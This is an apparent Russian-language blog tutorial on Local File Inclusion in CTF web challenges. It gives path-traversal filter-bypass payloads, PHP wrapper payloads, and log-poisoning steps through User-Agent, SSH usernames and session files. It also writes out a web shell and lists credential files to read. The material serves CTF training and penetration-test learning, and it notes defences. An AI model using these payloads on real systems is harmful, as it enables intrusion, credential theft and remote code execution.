Главная / Блог / LFI уязвимость в CTF: от чтения файлов сервера до RCE через log poisoning

14 мин.00

LFI уязвимость в CTF: от чтения файлов сервера до RCE через log poisoning

LFI уязвимость в CTF: от чтения файлов сервера до RCE через log poisoning

LFI уязвимость в CTF: от чтения файлов сервера до RCE через log poisoning

Восемь из десяти веб-заданий CTF, которые мне попадались за последний год на HackTheBox и PicoCTF, начинались с одного и того же — параметр в URL принимает имя файла, сервер подключает его без проверки, через три запроса в Burp Repeater читается /etc/passwd. Разница между «решил за пять минут» и «застрял на два часа» определяется одним навыком: определить тип фильтра и подобрать правильный bypass. Дальше — конкретная методика: от обнаружения path traversal уязвимости до полноценного RCE через log poisoning, с разбором каждого payload и объяснением, почему он работает.

Место Local File Inclusion в цепочке атаки

LFI уязвимость в CTF — не изолированная техника, а звено в цепочке, которая ложится на конкретные тактики MITRE ATT&CK. Понимание этой цепочки задаёт порядок действий при решении задачи и не даёт тратить время на перебор payloads вслепую. Подробнее — в нашем материале про пентест веб-приложений.

Фаза 1 — Initial Access. Находите уязвимый параметр в веб-приложении, через который сервер лезет в файловую систему. Это Exploit Public-Facing Application (T1190). Формы скачивания отчётов, просмотр шаблонов, загрузка картинок — всё, где значение параметра попадает в файловую операцию на стороне сервера.

Фаза 2 — Discovery. Через path traversal прощупываете структуру файловой системы: подставляете пути к известным файлам, проверяете глубину от webroot до корня. Это File and Directory Discovery (T1083). На этом шаге проясняется ОС, расположение приложения и доступные директории.

Фаза 3 — Credential Access. Вытаскиваете конфиденциальные файлы: /etc/passwd для списка пользователей (T1003.008), .env или config.php с паролями от БД и API-ключами, SSH-ключи из /home/user/.ssh/id_rsa — Credentials In Files (T1552.001). В CTF-задачах на этом шаге иногда и лежит флаг.

Фаза 4 — Collection. Собираете данные: исходный код приложения, конфиги, содержимое /proc/self/environ с переменными окружения — Data from Local System (T1005). Тут расположен флаг в задачах начального уровня.

Фаза 5 — Execution. Если нужен RCE, раскручиваете включение локальных файлов до выполнения кода через log poisoning, session injection или PHP wrappers — Unix Shell (T1059.004). Финал для задач средней и высокой сложности.

С точки зрения классификации, корневая причина — CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program), а по OWASP это попадает одновременно под A03:2021 Injection и A05:2021 Security Misconfiguration. В большинстве CTF web заданий флаг лежит на фазе 4 (прямое чтение файла сервера) или на фазе 5 (нужна команда для извлечения).

Требования к окружению

Прежде чем переходить к практике — убедитесь, что рабочее окружение готово.

ОС: Kali Linux 2024.x или любой Linux-дистрибутив. Минимум 4 ГБ RAM для комфортной работы Burp Suite и браузера одновременно; 8 ГБ — если параллельно поднимаете Docker с уязвимым приложением.

Инструменты: Burp Suite Community или Pro — перехват и модификация HTTP-запросов, все запросы проксируются через Burp для анализа параметров. curl — быстрые проверки из терминала без переключения на GUI. ffuf — фаззинг параметров и путей с вордлистами из SecLists. Утилита base64 — декодирование ответов при использовании php://filter.

Целевое окружение: для отработки подойдёт DVWA в Docker или любая CTF-платформа с веб-заданиями. На HTB и TryHackMe — десятки машин с LFI-векторами разного уровня сложности.

Сетевые условия: доступ к целевому серверу по HTTP/HTTPS. Для локальных лабораторий offline-режим допустим.

Обнаружение path traversal уязвимости в CTF web задании

Первое действие при решении веб-задачи — найти параметр, значение которого сервер использует для обращения к файловой системе.

По данным OWASP, наиболее частые имена таких параметров: page, file, path, template, include, doc, dir, folder, style, pdf, conf. В CTF авторы маскируют имя — lang, module, view, section — но суть та же: значение попадает в include(), require(), file_get_contents() или аналогичную функцию включения локальных файлов PHP.

Не ограничивайтесь GET-параметрами. Path traversal уязвимость прячется глубже:

  • JSON-тело запроса. Эндпоинты API типа POST /api/export с полем {"filename": "report.csv"}. В современных CTF path traversal в JSON встречается чаще, чем в query string — авторы задач ориентируются на реальные паттерны уязвимых приложений.
  • Cookie. По данным OWASP Path Traversal, приложение берёт значение cookie (например, TEMPLATE) и передаёт его в функцию include. Подстановка Cookie: TEMPLATE=../../../etc/passwd — и системный файл прочитан.
  • HTTP-заголовки. Кастомные заголовки X-Template, X-File-Path в задачах повышенной сложности. Без прокси такие параметры не видны в URL — нужен анализ трафика.
  • Маршруты URL. Часть пути интерпретируется как имя файла: /static/css/../../etc/passwd. Этот вектор легко пропустить, если не проксировать трафик.

Методика поиска с Burp Suite: проксируйте весь трафик, прокликайте каждую функцию приложения. В Burp HTTP History отфильтруйте запросы, где значение параметра содержит расширение файла (.php, .html, .pdf, .log) или выглядит как путь. Каждый такой параметр — кандидат на тестирование LFI.

Для автоматизации — ffuf с вордлистом параметров из SecLists (Discovery/Web-Content/burp-parameter-names.txt): фаззинг в формате ffuf -u "http://target/index.php?FUZZ=../../../etc/passwd" -w burp-parameter-names.txt -fs <размер_стандартного_ответа> покажет ответы с отличающимся размером — значит, параметр обрабатывается.

Подтверждение уязвимости. Обнаружили параметр ?page=about.html? Замените значение на ../../../etc/passwd. Строки вида root:x:0:0:root:/root:/bin/bash в ответе — path traversal подтверждён, чтение файлов сервера через LFI работает.

Три уровня ../ не сработали — увеличивайте: ../../../../etc/passwd, ../../../../../etc/passwd и далее. Типичная глубина от webroot до корня — 3–7 уровней. Стандартные webroot-пути: /var/www/html/, /var/www/app/, /srv/http/, /opt/app/public/. На каждый уровень вложенности — один ../.

Обход фильтров LFI: какой bypass выбрать

Большинство CTF-задач средней сложности и выше ставят фильтры на пользовательский ввод. По данным PortSwigger, типичные защиты: удаление ../ из строки, проверка расширения файла, валидация начала пути. У каждого типа фильтра — своя техника обхода. Вот decision tree, который экономит время на соревновании:

Поведение сервера Вероятный фильтр Техника обхода фильтров LFI Payload
../../../etc/passwd — пустой ответ, запрос не блокируется Нерекурсивное удаление ../ Вложенные последовательности ....//....//....//etc/passwd
Любой запрос с ../ возвращает 403 WAF или строгий фильтр URL-кодирование %2e%2e%2f%2e%2e%2fetc/passwd
Traversal не работает, абсолютный путь не проверяется Фильтр только на ../ Абсолютный путь ?file=/etc/passwd
Путь должен начинаться с конкретной директории Проверка начала пути Префикс + traversal ?file=/var/www/images/../../../etc/passwd
К имени файла дописывается .php Принудительное расширение Null byte (PHP < 5.3.4) ../../../etc/passwd%00
Двойное кодирование работает, одинарное — нет Многослойное декодирование Двойное URL-кодирование %252e%252e%252f

Вложенные последовательности и URL-кодирование

Вложенные traversal-последовательности. Если сервер удаляет ../ из строки нерекурсивно (один проход), подставьте ....// — после удаления внутреннего ../ из ....// останется ../, и traversal отработает. Аналогично работает ....\/ на серверах, принимающих обратный слеш.

Работает если: фильтр делает однократную замену ../ на пустую строку. Не работает если: фильтр рекурсивный (повторяет удаление до полного исчезновения) или используется нормализация через realpath().

URL-кодирование. Когда WAF или фильтр блокирует запрос при любом упоминании ../ — используйте %2e%2e%2f вместо ../. При нескольких слоях декодирования (прокси, веб-сервер, приложение) работает двойное кодирование: %252e%252e%252f. Первый слой декодирует %25 в %, второй — %2e в . и %2f в /.

Работает если: между клиентом и приложением есть промежуточный слой, декодирующий URL до передачи дальше. Не работает если: на сервере единственный слой декодирования или фреймворк нормализует путь после декодирования — Django через os.path.realpath(), Express.js через path.resolve(), Spring Boot через Paths.get().normalize().

Абсолютный путь. Иногда фильтр ловит только ../, но пропускает абсолютные пути. Попробуйте ?file=/etc/passwd — без traversal-последовательностей вообще. На нескольких CTF я видел, как опытные игроки полчаса подбирали кодирование, а тупо абсолютный путь проходил с первого раза. Обидно, но поучительно.

Работает если: фильтр ищет только ../ и не проверяет начало пути на /. Не работает если: приложение добавляет фиксированный prefix к значению параметра (например, /var/www/html/ + ввод пользователя).

Null byte и устаревшие техники

Null byte bypass LFI. Когда фильтр проверяет расширение файла и дописывает .php к пользовательскому вводу, на PHP < 5.3.4 работает ../../../etc/passwd%00.php. Символ %00 обрезает строку на уровне C-функций, и PHP откроет /etc/passwd, проигнорировав .php.

Работает если: PHP версии ниже 5.3.4 — это legacy-окружение. Не работает если: PHP 5.3.4 и выше (null byte injection закрыта). В CTF эта техника встречается только в задачах, явно эмулирующих legacy-стек.

Path truncation. На старых PHP (< 5.3) можно было использовать последовательность /./ для наращивания длины пути до предела (4096 байт), после которого окончание отбрасывается. В актуальных версиях PHP лимит увеличен и защита встроена — техника мертва.

Overlong UTF-8 (%c0%ae). Работает только на специфичных legacy-серверах. В современных фреймворках с нормализацией — бесполезна. В CTF встречается крайне редко, но знать про неё стоит, чтобы не тратить время на перебор.

PHP wrappers: php://filter base64 и чтение исходников

PHP wrappers — главный козырь при эксплуатации LFI в CTF-задачах на PHP. Проблема такая: когда вы включаете PHP-файл через LFI, сервер его исполняет — в ответе результат работы скрипта, а не исходный код. А для решения задачи нужен именно код: в нём лежат пароли, логика валидации и часто сам флаг.

php://filter/convert.base64-encode решает эту проблему элегантно. Запрос ?file=php://filter/convert.base64-encode/resource=config.php заставляет PHP прочитать файл, закодировать в Base64 и вернуть как текст вместо исполнения. Полученную строку декодируете командой echo "<base64_строка>" | base64 -d — и читаете исходный код целиком. Приём настолько ходовой в CTF, что стоит запомнить payload наизусть.

Работает если: php://filter доступен через include() — а он доступен даже с allow_url_include = Off (этот параметр влияет на удалённые URL, а не на локальные wrappers). Не работает если: WAF блокирует строку php:// или фильтр удаляет :// из ввода. Обход: некоторые задачи принимают регистровый вариант PHP://filter или нестандартные фильтры типа convert.iconv.UTF-8.UTF-7.

php://input позволяет передать PHP-код в теле POST-запроса, который будет исполнен через include. Отправляете POST /index.php?file=php://input с телом <?php system('cat /flag.txt'); ?>.

Работает если: allow_url_include = On в php.ini. Не работает если: параметр выключен (по умолчанию в PHP 5.2+ он Off). В CTF авторы иногда намеренно включают его — проверяйте.

data:// wrapper — альтернатива php://input, всё в одном GET-запросе. Payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== (Base64 от <?php system('id'); ?>). Требования те же — allow_url_include = On.

expect:// — прямое выполнение системной команды: ?file=expect://id. Работает только при установленном расширении expect для PHP — редкость даже в CTF, но если встретите — считайте, что вам повезло.

Wrapper Нужен allow_url_include Результат Частота в CTF
php://filter Нет Чтение исходников в Base64 Высокая
php://input Да RCE через POST-тело Средняя
data:// Да RCE через Base64 в URL Средняя
expect:// Да + расширение expect Прямое выполнение команд Редко

LFI to RCE через log poisoning

Log poisoning — техника превращения LFI в Remote Code Execution через внедрение PHP-кода в файлы логов сервера с последующим включением этих логов через уязвимый параметр. Это основной путь LFI to RCE, когда allow_url_include выключен и PHP wrappers вроде php://input недоступны.

Работает если: LFI подтверждена, файлы логов доступны для чтения, приложение на PHP, логи пишутся на диск, процесс веб-сервера имеет права на чтение log-файлов. Не работает если: контейнерный деплой Docker (по умолчанию логи уходят в stdout/stderr, а не на диск), read-only файловая система, AppArmor/SELinux ограничивает доступ к /var/log/.

Пошаговый процесс log poisoning RCE

Шаг 1 — проверьте доступность логов. Попробуйте прочитать access-лог Apache через LFI: ?file=../../../var/log/apache2/access.log. Если в ответе видите строки с HTTP-запросами — путь к log poisoning открыт. Не нашли? Альтернативные пути: /var/log/httpd/access_log (CentOS/RHEL), /var/log/nginx/access.log, /var/log/auth.log.

Шаг 2 — инъекция PHP-кода через User-Agent. Apache записывает значение заголовка User-Agent в access.log при каждом запросе. Отправьте запрос с PHP-кодом в этом заголовке:

curl -A "<?php system(\$_GET['cmd']); ?>" http://target/index.php

Символ $ экранирован обратным слешем (\$), чтобы bash не интерпретировал его как переменную окружения. После выполнения в access.log появится строка с конструкцией <?php system($_GET['cmd']); ?>.

Шаг 3 — включение лога через LFI. Обратитесь к файлу лога через уязвимый параметр и передайте команду: ?file=../../../var/log/apache2/access.log&cmd=cat /flag.txt. PHP-движок, обрабатывая включённый файл, встретит <?php system($_GET['cmd']); ?> и выполнит как код. Результат cat /flag.txt окажется в HTTP-ответе — среди строк лога.

Что происходит внутри: include() интерпретирует содержимое файла как PHP-код. Когда в access.log встречается строка с PHP-тегами, движок выполняет её как часть скрипта. Результат команды встраивается в ответ между обычными строками лога. Выглядит грязно, но работает.

Шаг 4 — получение полноценного шелла. Вместо одноразовых команд закиньте веб-шелл: &cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php. После этого обращайтесь к http://target/shell.php?c=whoami напрямую, без LFI-цепочки.

Альтернатива: log poisoning через SSH

Если веб-логи недоступны, но через LFI читается /var/log/auth.log, используйте SSH. Подключитесь к серверу с «именем пользователя», содержащим PHP-код: ssh '<?php system($_GET["cmd"]); ?>'@target. SSH-сервер запишет попытку авторизации в auth.log, включая «имя пользователя» с payload. После этого включите auth.log через LFI аналогично шагу 3.

Работает если: SSH-сервер доступен, auth.log читается через LFI. Не работает если: SSH использует journal (systemd) вместо файлового лога, или лог-файл доступен только root.

Альтернатива: PHP session injection

Когда ни веб-логи, ни auth.log недоступны, но PHP хранит сессии в файлах — есть ещё один путь. PHP по умолчанию сохраняет данные сессий в /var/lib/php/sessions/sess_<PHPSESSID>. Если приложение записывает пользовательский ввод в сессию (например, имя пользователя при логине), инъецируйте PHP-код через это поле, затем включите файл сессии через LFI: ?file=../../../var/lib/php/sessions/sess_<ваш_PHPSESSID>.

Работает если: PHP хранит сессии в файлах (session.save_handler = files), путь к файлам сессий стандартный, пользовательский ввод попадает в данные сессии без фильтрации. Не работает если: сессии хранятся в Redis/Memcached, путь нестандартный, данные сериализуются с экранированием.

Чтение файлов сервера: приоритетные цели

После подтверждения LFI уязвимости переходите к файлам по приоритету. Порядок определяет скорость решения задачи.

Конфигурации приложения (флаг чаще всего здесь): config.php, .env, settings.py, application.yml — креды от БД, API-ключи, иногда сам флаг в виде переменной. Для WordPress-задач — wp-config.php с паролем БД и AUTH_KEY.

Системные файлы: /etc/passwd — список пользователей, подтверждение LFI (не требует root). /etc/shadow — хеши паролей (требует root, в CTF иногда доступен через misconfiguration). /proc/self/environ — переменные окружения текущего процесса, часто содержат секреты. /proc/self/cmdline — командная строка запуска процесса, раскрывает пути к конфигам.

SSH-ключи: /home/<user>/.ssh/id_rsa — приватный ключ для доступа. Имя пользователя берётся из /etc/passwd.

Логи для log poisoning: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log.

Исходный код (через php://filter): index.php, login.php, admin.php — хардкоженные пароли, SQL-запросы, логика проверки флага, маршрутизация.

Ограничения техники и современные защиты

LFI — вектор мощный, но с чёткими границами. Понимание этих границ экономит время и на соревновании, и в реальном пентесте.

Защитный механизм Что блокирует Что по-прежнему работает
Docker stdout logging Log poisoning, session injection Path traversal, php://filter
realpath() / path.resolve() Path traversal через ../ Абсолютные пути (если нет whitelist)
PHP >= 5.3.4 Null byte %00 Вложенные ....//, URL-кодирование
WAF (ModSecurity) Известные LFI-паттерны Двойное кодирование, chain wrappers
open_basedir Чтение вне указанных директорий php://filter внутри basedir
chroot / AppArmor Доступ к /etc, /var/log Файлы внутри sandbox

[Применимо: CTF-среды, legacy PHP-приложения, внешний пентест. В контейнерных деплоях с read-only файловой системой path traversal по-прежнему опасен для чтения исходного кода, но LFI to RCE через логи зачастую невозможен — Docker по умолчанию не пишет логи на диск.]

Минилаб для отработки LFI

Для самостоятельной практики разверните DVWA в Docker:

docker run -d -p 8080:80 vulnerables/web-dvwa

После запуска откройте http://localhost:8080, авторизуйтесь (admin / password), перейдите в DVWA Security и установите уровень Low. В разделе File Inclusion — готовая точка входа для отработки всей цепочки: от базового path traversal до php://filter base64. На уровне Medium включаются фильтры — понадобятся вложенные последовательности. Для log poisoning проверьте доступность /var/log/apache2/access.log через LFI внутри контейнера.

Чеклист: LFI от обнаружения до флага

  1. Проксируйте трафик через Burp Suite, прокликайте все функции приложения
  2. Найдите параметры с расширениями файлов или путями в значениях — ?page=, ?file=, ?template=, а также JSON-поля и cookie
  3. Подставьте ../../../etc/passwd — проверьте базовый path traversal
  4. Если фильтруется — определите тип фильтра по ответу сервера, используйте decision tree
  5. Примените соответствующий bypass: ....//, %2e%2e%2f, абсолютный путь, двойное кодирование
  6. Прочитайте конфигурации приложения — config.php, .env, settings.py
  7. Используйте php://filter/convert.base64-encode/resource=<файл> для исходников PHP
  8. Проверьте доступность логов: /var/log/apache2/access.log, /var/log/nginx/access.log
  9. Если логи доступны — выполните log poisoning через User-Agent с curl -A
  10. Получите RCE, прочитайте флаг: &cmd=cat /flag.txt

Каждое задание на включение локальных файлов следует этому алгоритму. Разница — в типе фильтра и наборе доступных wrappers.

По моему опыту, большинство CTF-игроков застревает не на этапе эксплуатации LFI, а на этапе обнаружения уязвимого параметра. Все знают payload ../../../etc/passwd, но мало кто систематически фаззит параметры в JSON-телах, cookies и кастомных заголовках. На соревнованиях средней сложности авторы давно перестали прятать path traversal уязвимость в очевидных ?file= — вектор закопан в API-эндпоинты, которые большинство участников даже не проксирует через Burp.

Вторая типичная ошибка — зацикливание на одной технике bypass. Не раз видел, как опытные игроки полчаса подбирают кодирование для обхода WAF, когда простой абсолютный путь ?file=/etc/passwd проходит без единого фильтра. Decision tree из этой статьи — не академическое упражнение, а реальный порядок проверок, который стоит отработать до автоматизма.

И третье: log poisoning постепенно теряет актуальность в реальных инфраструктурах — контейнеризация убирает файловые логи из уравнения. Но в CTF он встречается постоянно, потому что организаторы разворачивают задания на классических серверах с Apache. Цепочка LFI to RCE через отравление логов — навык, который нарабатывается только практикой, и writeups дают лишь поверхностное представление. На WAPT эту цепочку проходят в течение двух модулей с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...